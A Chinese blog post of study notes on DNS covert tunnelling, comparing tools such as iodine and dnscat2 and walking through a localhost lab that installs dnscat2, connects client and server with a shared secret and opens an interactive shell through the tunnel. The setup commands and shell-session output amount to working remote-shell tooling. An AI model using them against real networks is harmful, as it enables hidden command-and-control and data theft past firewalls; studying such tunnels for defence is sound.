美文网首页
DNS隐蔽隧道

DNS隐蔽隧道

作者: 明翼 | 来源:发表于2020-03-03 18:41 被阅读0次

    一 前言

    DNS上节说到,主要用来做域名解析的,但是黑客却可以通过将其他协议的内容封装再DNS协议中,然后通过DNS请求和响应来传输数据和完成控制,DNS服务作为互联网上最普遍的服务,防火墙和入侵检测设备一般都会放行,这就给黑客们有了可乘之机,以下为学习笔记。

    二 DNS隧道的方式

    2.1 分类

    目前DNS隧道目前按照连接方式来分:直连隧道和中继隧道。
    直连隧道 :用户直接和控制服务器通过DNS连接,由于直连不经过其他DNS服务器,所以速度快,但是很多用户是对DNS服务器是有配置要求的,只能配置特定的服务器,配置其他的DNS服务器不准许;另外这种方式由于直接连接的,很容易暴漏攻击服务器。

    中继隧道: 利用DNS迭代查询方式,中间通过多个DNS服务器的跳转,跳转到最终的控制机,整个解析过程更长,所以性能没有直连好,还要防止DNS缓存。

    DNS隧道

    2.2 开源工具

    网上有不少开源工具实现了DNS的隧道,对比如下:

    软件名称 开发语言 特点 推荐
    OzymanDNS perl 只有最初版本 不推荐
    tcp-over-dns JAVA 跨平台 比较老
    iodine C 直连和中继都支持速度快支持编码和请求类型 推荐
    dns2tcp C 只直连未实现命令 不推荐
    Dnscat2 客户端C服务器ruby 支持加密隧道,功能强大 推荐

    2.3 关键技术

    • 在两种DNS 隧道中,用的最多的是中继方式,能让DNS服务器做递归查询,则需要每次查询均采用不同域名的,一句话是每次采用新域名的方式来保证走DNS查询。
    • 大多数场景 是服务器端没办法连客户端,因为防火墙或内网原因,所以多是通过客户端定时连接服务器端来保持状态。

    三 实践

    为了更好理解软件工作,二是为了获取相关的报文,准备搭建两个尝试下整个过程。
    以更常用的Dnscat2为例测试,我以自己的windows机器来作为被控制方,里面的centos机器作为控制方测试。

    3.1 安装

    #windows下客户端下载地址
    #解压密码为password ,windows下只有32位的。
    https://downloads.skullsecurity.org/dnscat2/
    
    
    #linux下服务器端安装
    #安装ruby
    $ yum install ruby
    $ git clone https://github.com/iagox86/dnscat2.git
    $ cd dnscat2/server/
    $ gem install bundler
    $ bundle install
    
    
    

    3.2 运行

    服务器端为ruby开发,所以需要先安装ruby才可以运行,因为只是简单测试,走直连模式,可以直接运行:

    #缺了不少库采用以下方式安装
    gem install ecdsa
    gem install sha3
    gem install salsa20
    gem install trollop
    gem install trollop
    
    #服务器端命令
    ruby ./dnscat2.rb  --secret 12345
    
    #客户端命令
     ./dnscat --dns server=127.0.0.1,port=53 --secret=12345
    

    3.3 遇到问题

    [[ ERROR ]] :: DNS: RCODE_NAME_ERROR
    

    可能原因,默认有密码的是随机的,所以最好指定密码,不然连不上。

    /home/miaohq/dns2cat/dnscat2/server/tunnel_drivers/driver_dns.rb:316: warning: Capturing the given block using Kernel#proc is deprecated; use `&block` instead
    New window created: 1
    /home/miaohq/dns2cat/dnscat2/server/libs/settings.rb:166: warning: Capturing the given block using Kernel#proc is deprecated; use `&block` instead
    

    查了半天竟然是ruby用的版本2.7的问题造成的调用警告。

    输入:

    #进入交互状态
    session -i 1
    #输入shell进入交互
    command (localhost.localdomain) 1> shell
    Sent request to execute a shell
    command (localhost.localdomain) 1> New window created: 2
    Shell session created!
    #看下shell信息
    dnscat2> windows
    0 :: main [active]
      crypto-debug :: Debug window for crypto stuff [*]
      dns1 :: DNS Driver running on 0.0.0.0:53 domains =  [*]
      1 :: command (localhost.localdomain) [encrypted and verified]
      2 :: sh (localhost.localdomain) [encrypted and verified] [*]
    #切换到shell
    dnscat2> session -i 2
    New window created: 2
    history_size (session) => 1000
    Session 2 Security: ENCRYPTED AND VERIFIED!
    (the security depends on the strength of your pre-shared secret!)
    This is a console session!
    #输入命令:
    sh (localhost.localdomain) 2> pwd
    sh (localhost.localdomain) 2> /home/test/dns2cat/dnscat2/client
    

    简单的过程:


    DNS隧道利用

    四 参考

    https://blog.csdn.net/localhost01/column/info/32978

    相关文章

      网友评论

          本文标题:DNS隐蔽隧道

          本文链接:https://www.haomeiwen.com/subject/wbgflhtx.html